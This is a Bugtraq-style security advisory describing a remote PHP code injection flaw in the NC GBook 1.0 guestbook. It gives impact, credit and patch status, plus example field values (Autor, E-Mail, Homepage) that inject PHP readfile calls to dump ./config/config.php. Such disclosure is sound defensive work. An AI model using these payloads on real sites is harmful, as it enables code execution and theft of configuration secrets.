NC GBook 'index.php' Remote PHP Code Injection Vulnerability

Bugtraq ID:	35044
Class:	Design Error
CVE:
Remote:	Yes
Local:	No
Published:	May 20 2009 12:00AM
Updated:	May 21 2009 06:00PM
Credit:	ThE g0bL!N
Vulnerable:	Net Concept 24 NC GBook 1.0
Not Vulnerable:

NC GBook 'index.php' Remote PHP Code Injection Vulnerability

NC GBook is prone to a vulnerability that can be leveraged to execute arbitrary PHP code.

Successful attacks can compromise the affected application and possibly the computer.

NC GBook 1.0 is vulnerable; other versions may also be affected.

NC GBook 'index.php' Remote PHP Code Injection Vulnerability

Attackers can exploit the issue via a browser.

The following example data is available:

Autor: <? readfile("./config/config.php"); ?>.
E-Mail: <? readfile("./config/config.php"); ?>.
Homepage:<? readfile("./config/config.php"); ?>.

NC GBook 'index.php' Remote PHP Code Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

NC GBook 'index.php' Remote PHP Code Injection Vulnerability

References:

• NC GBook Homepage (Net Concept 24)